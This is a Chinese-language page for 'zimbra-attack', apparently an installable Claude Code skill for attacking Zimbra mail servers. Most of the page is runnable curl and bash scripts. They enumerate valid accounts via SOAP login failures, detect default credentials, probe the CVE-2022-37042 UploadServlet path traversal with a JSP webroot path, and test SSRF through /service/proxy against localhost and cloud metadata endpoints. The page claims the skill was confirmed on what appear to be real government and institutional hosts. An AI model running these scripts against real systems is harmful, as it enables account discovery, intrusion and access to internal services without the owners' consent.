关于 zimbra-attack
zimbra-attack 是针对 Zimbra Collaboration Suite 的安全测试指南,供授权测试人员检查邮件系统暴露面。内容涵盖版本识别、SOAP 用户枚举、特定漏洞检查及管理控制台探测。
主要功能
- 01Zimbra 服务与版本识别
- 02SOAP 用户枚举测试
- 03UploadServlet 路径遍历检查
- 04代理端点 SSRF 探测
- 05管理控制台暴露检查
适用场景
- 01检查目标邮件主机是否运行 Zimbra
- 02验证 SOAP 接口是否泄露用户有效性
- 03检查已识别版本的 UploadServlet 和代理端点
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill zimbra-attack安装后在 Claude Code 中输入/zimbra-attack确认已加载。
详细介绍
Zimbra 攻击技能
Zimbra Collaboration Suite 攻击面——无需身份验证即可通过 SOAP API 枚举用户、版本指纹识别、UploadServlet 路径遍历(CVE-2022-37042)、/service/proxy 内部 SSRF,以及 Admin 控制台访问。已在 IGN Argentina(Zimbra 8.8.11,确认存在 admin 用户,UploadServlet 处于活动状态)、gov-finance-portal(Zimbra Webmail,SOAP 身份验证正常)和 ITERJ(Zimbra Webmail 处于活动状态)上确认。
适用场景
- 目标有
webmail.、mail.或zimbra.子域名。 - 邮件服务器重定向到
/zimbra/路径。 - 服务器标头或页面标题包含“Zimbra”。
subdomain-enumeration发现 Webmail 主机后。- 政府、大学或企业目标(Zimbra 在这些领域很常见)。
先决条件
- 带有 curl、python3 的
terminal。 - 目标 Zimbra URL(通常为
https://webmail.target.com)。 - 利用 CVE:需要了解目标 Zimbra 版本。
运行方法
# Quick Zimbra detection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" | grep -iE "zimbra|zmail"
# SOAP user enumeration
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET/service/soap/" \
-H "Content-Type: application/xml" \
-d '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"/></soap:Header><soap:Body><AuthRequest xmlns="urn:zimbraAccount"><account by="name">admin@TARGET</account><password>test</password></AuthRequest></soap:Body></soap:Envelope>'
快速参考
| 端点 | 可揭示的信息 | 风险 |
|---|---|---|
/service/soap/ | SOAP API——用户枚举、身份验证测试 | 高 |
/service/soap/AuthRequest | 区分有效用户和错误密码 | 高 |
/zimbraAdmin/ | Admin 控制台(若已公开) | 严重 |
/service/upload?fmt=ext | UploadServlet(CVE-2022-37042) | 严重 |
/service/proxy?target= | 内部 SSRF | 严重 |
/service/extension/ | 扩展列表 | 中 |
/zimbra/downloads/index.html | 版本信息泄露 | 中 |
/zimbra/skins/_base/logos/LoginBanner.png | 确认 Zimbra 品牌标识 | 信息 |
流程
阶段 1 — 检测与版本指纹识别
TARGET="$1"
OUTDIR="$OUTDIR/zimbra"
mkdir -p "$OUTDIR"
echo "[*] Zimbra detection on $TARGET"
# Check for Zimbra redirect/headers
INITIAL=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null)
if echo "$INITIAL" | grep -qi "zimbra\|zmail"; then
echo "[+] Zimbra confirmed in headers"
fi
# Check page title
TITLE=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null | grep -Eo '<title>\K[^<]+')
if echo "$TITLE" | grep -qi "zimbra"; then
echo "[+] Zimbra confirmed — Title: $TITLE"
fi
# Version from download page
VER=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/zimbra/downloads/index.html" 2>/dev/null | grep -Eo 'Zimbra[^<]+' | head -1)
if [[ -n "$VER" ]]; then
echo "[+] Version: $VER"
fi
# Version from SOAP response
SOAP_RESP=$(curl -sk -X POST --max-time 10 --connect-timeout 10 "https://$TARGET/service/soap/" \
-H "Content-Type: application/xml" \
-d '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"/></soap:Header><soap:Body><GetVersionInfoRequest xmlns="urn:zimbraAdmin"/></soap:Body></soap:Envelope>' 2>/dev/null)
ZIMBRA_VER=$(echo "$SOAP_RESP" | grep -Eo '<VersionString>\K[^<]+')
ZIMBRA_RELEASE=$(echo "$SOAP_RESP" | grep -Eo '<ReleaseString>\K[^<]+')
if [[ -n "$ZIMBRA_VER" ]]; then
echo "[+] Zimbra version from SOAP: $ZIMBRA_VER ($ZIMBRA_RELEASE)"
fi
阶段 2 — SOAP 用户枚举
TARGET="$1"
echo "[*] SOAP user enumeration on $TARGET"
# Test users
USERS=("admin" "administrator" "spam" "ham" "virus" "galsync" "wiki"
"user" "webmaster" "info" "contato" "suporte" "test")
for user in "${USERS[@]}"; do
# AuthRequest with wrong password — differentiates valid vs invalid user
RESP=$(curl -sk -X POST --max-time 5 --connect-timeout 5 "https://$TARGET/service/soap/" \
-H "Content-Type: application/xml" \
-d "<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"><soap:Header><context xmlns=\"urn:zimbra\"/></soap:Header><soap:Body><AuthRequest xmlns=\"urn:zimbraAccount\"><account by=\"name\">$user@$TARGET_DOMAIN</account><password>wrongpass</password></AuthRequest></soap:Body></soap:Envelope>" 2>/dev/null)
if echo "$RESP" | grep -q "authentication failed"; then
echo " [VALID] $user — user EXISTS (wrong password)"
elif echo "$RESP" | grep -q "no such account"; then
echo " [INVALID] $user — does not exist"
elif echo "$RESP" | grep -q "<authToken>"; then
echo " [CRITICAL] $user — DEFAULT CREDENTIALS!"
fi
done
阶段 3 — CVE-2022-37042 UploadServlet 路径遍历
TARGET="$1"
echo "[*] CVE-2022-37042 check (UploadServlet path traversal)"
# This CVE allows unauthenticated file write via path traversal in UploadServlet
# Affects: Zimbra < 9.0.0 P27, < 8.8.15 P34
UPLOAD_RESP=$(curl -sk -X POST --max-time 10 --connect-timeout 10 "https://$TARGET/service/upload?fmt=extended" \
-H "Content-Type: application/octet-stream" \
-d "test" 2>/dev/null)
if echo "$UPLOAD_RESP" | grep -qi "upload\|success\|clientToken"; then
echo " [+] UploadServlet ACTIVE — CVE-2022-37042 potentially exploitable"
echo " Response: $(echo "$UPLOAD_RESP" | head -1)"
# Test path traversal (doesn't write — just tests if the endpoint processes it)
TRAVERSAL_RESP=$(curl -sk -X POST --max-time 10 --connect-timeout 10 "https://$TARGET/service/upload?fmt=extended&lbfums=" \
-H "Content-Type: application/octet-stream" \
-d "../../../../../../opt/zimbra/jetty/webapps/zimbra/public/test.jsp" 2>/dev/null)
if echo "$TRAVERSAL_RESP" | grep -qi "success"; then
echo " [CRITICAL] Path traversal appears functional"
fi
else
echo " [-] UploadServlet not accessible (patched or blocked)"
fi
阶段 4 — 通过 /service/proxy 实现内部 SSRF
TARGET="$1"
echo "[*] Internal SSRF via /service/proxy"
# Zimbra proxy endpoint allows internal HTTP requests
# Requires LOW-privilege auth, but worth probing unauthenticated
PROXY_TARGETS=(
"http://localhost:8080/"
"http://127.0.0.1:7071/" # Zimbra Admin port
"http://127.0.0.1:22/"
"http://[REDACTED_IP]/latest/meta-data/" # AWS IMDS
"http://metadata.google.internal/"
)
for pt in "${PROXY_TARGETS[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \
"https://$TARGET/service/proxy?target=${pt}" 2>/dev/null)
if [[ "$code" == "200" || "$code" == "500" ]]; then
echo " [SSRF] $pt → HTTP $code (internal service may be reachable)"
fi
done
阶段 5 — Zimbra Admin 控制台
TARGET="$1"
echo "[*] Zimbra Admin console check"
ADMIN_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 "https://$TARGET/zimbraAdmin/" 2>/dev/null)
if [[ "$ADMIN_CODE" == "200" ]]; then
echo " [+] Zimbra Admin console EXPOSED"
elif [[ "$ADMIN_CODE" == "302" ]]; then
LOCATION=$(curl -skI --max-time 5 --connect-timeout 5 "https://$TARGET/zimbraAdmin/" 2>/dev/null | grep -i "location:" | sed 's/.*: //')
echo " [REDIR] Admin console redirects to: $LOCATION"
else
echo " [-] Admin console: HTTP $ADMIN_CODE"
fi
# Check port 7071 (Zimbra Admin port, sometimes exposed without reverse proxy)
ADMIN_PORT=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET:7071/zimbraAdmin/" 2>/dev/null)
[[ "$ADMIN_PORT" == "200" ]] && echo " [CRITICAL] Admin console on port 7071 EXPOSED"
注意事项
- SOAP 用户枚举会产生大量日志。 每个请求都会在 Zimbra 审计日志中生成一次登录失败记录。
- UploadServlet 可能被 nginx 阻止。 如果 Zimbra 位于反向代理之后,即使 servlet 处于活动状态,路径遍历也可能被阻止。
- 较新版本的 Proxy SSRF 需要身份验证。 在 8.8.15 之前,无需身份验证即可访问。
- 默认情况下,7071 端口上的 Zimbra Admin 仅限内部访问。 只有在配置错误或进行了端口转发时才会对外开放。
验证
- SOAP AuthRequest 必须能区分“身份验证失败”(有效用户)和“不存在此帐户”(无效用户)。
- 必须至少通过 2 个来源确认 Zimbra 版本(SOAP GetVersionInfo、下载页面或横幅)。
- UploadServlet 响应必须确认该端点会处理上传内容。
- 所有发现都必须记录准确的 curl 命令和响应。
评论
支持 Markdown